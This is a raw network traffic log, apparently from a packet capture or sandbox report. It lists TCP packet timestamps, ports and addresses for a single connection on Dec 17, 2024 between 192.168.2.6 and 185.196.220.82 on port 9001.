Dec 17, 2024 11:49:49.376954079 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.376967907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.377028942 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.377531052 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.377542019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.377568960 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.377594948 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.378277063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.378326893 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.378350019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.378456116 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.379246950 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.379260063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.379307032 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.379854918 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.379868031 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.379916906 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.380675077 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.380723953 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.380734921 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.380762100 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.381393909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.381494999 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.381527901 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.381614923 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.382320881 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.382337093 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.382369995 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.382392883 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.382999897 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.383012056 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.383054972 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.384035110 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.384113073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.401185989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.401400089 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.401458979 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.401586056 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.401776075 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.401827097 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.402393103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.402677059 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.402721882 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.403109074 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.403244019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.403291941 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.403898001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.403942108 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.404153109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.404561996 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.404783010 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.404824972 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.404931068 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.404983997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.405529976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.405571938 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.405739069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.405888081 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.406315088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.406353951 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.406408072 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.406445980 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.407170057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.407207012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.407248974 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.408094883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.408107042 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.408139944 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.408153057 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.408648014 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.408739090 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.408782005 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.409416914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.409457922 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.409487009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.409535885 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.410237074 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.410401106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.410461903 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.410907030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.420486927 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.420571089 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.431716919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.474742889 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.488883018 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.488903046 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.488954067 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.489119053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.489159107 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.489717960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.489792109 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.489864111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.490006924 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.490087986 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.490329027 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.490783930 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.490825891 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.491002083 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.491041899 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.491672993 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.491714001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.491739035 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.491782904 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.492244959 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.492280006 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.492317915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.492352009 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.492990017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.493036985 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.493168116 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.493335962 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.493779898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.493846893 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.493963957 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.494204044 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.494590044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.494642019 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.494730949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.494775057 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.495666981 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.495681047 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.495734930 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.496242046 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.496287107 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.496345043 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.496381998 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.496922970 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.496932983 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.496984005 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.497086048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.497122049 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.497755051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.497800112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.497806072 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.497840881 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.498478889 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.498516083 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.498594999 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.498632908 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.499360085 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.499398947 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.499488115 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.499522924 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.500184059 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.500241995 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.500293016 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.500994921 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.501044989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.501065016 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.501089096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.501797915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.501874924 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.501967907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.502019882 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.502510071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.502567053 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.502593994 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.502711058 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.503273964 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.503309011 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.503355026 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.503388882 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.504054070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.504101038 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.504173040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.504216909 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.504806995 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.504849911 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.504898071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.504930973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.505641937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.505678892 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.505683899 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.506412029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.506455898 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.542027950 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.563302040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.563345909 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.563448906 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.563534975 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.563733101 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.563842058 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.563885927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.564505100 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.564647913 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.564699888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.565303087 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.565365076 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.565368891 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.565419912 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.566088915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.566176891 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.566180944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.566262960 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.566900969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.566911936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.566951990 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.566967010 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.567780972 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.567842007 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.567898035 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.568526030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.568577051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.568625927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.569446087 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.569483995 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.569499016 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.569518089 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.570074081 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.570123911 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.570137024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.570183039 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.570837021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.570884943 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.570920944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.571789980 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.571849108 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.571908951 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.571993113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.572403908 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.572448969 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.572467089 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.572510958 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.573147058 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.573193073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.573359966 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.573472023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.573955059 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.574083090 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.574712038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.574769974 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.574809074 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.574918032 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.575509071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.575850964 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.575896978 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.592514992 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.592587948 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.593763113 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.593775034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.593832016 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.593869925 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.593910933 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.593941927 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.593982935 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.594635963 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.594687939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.594707966 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.594722033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.595371008 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.595406055 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.595536947 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.595577955 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.596214056 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.596225023 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.596275091 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.596915960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.596961975 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.596997023 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.597042084 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.597707033 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.597755909 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.597980976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.598051071 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.598587990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.598627090 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.598660946 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.598706007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.599358082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.599405050 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.599442005 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.599493980 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.600045919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.600085020 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.600183964 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.600284100 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.600908041 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.600970984 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.601192951 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.601236105 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.601649046 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.601691961 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.601727009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.601878881 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.602484941 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.602497101 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.602531910 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.602545023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.603204012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.658817053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.658916950 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.680772066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.680849075 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.680919886 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.681123018 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.681180954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.681226969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.681266069 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.681986094 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.682049036 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.682287931 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.682308912 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.682341099 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.682369947 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.683190107 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.683201075 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.683234930 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.683253050 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.683871984 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.683917999 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.684007883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.684051037 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.684684038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.684696913 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.684751034 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.685367107 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.685431004 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.685514927 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.685561895 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.686436892 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.686448097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.686475992 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.686495066 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.686891079 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.686933041 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.686940908 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.686986923 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.687962055 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.687973022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.688016891 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.688039064 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.688559055 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.688613892 CET	49784	9001	192.168.2.6	185.196.220.82
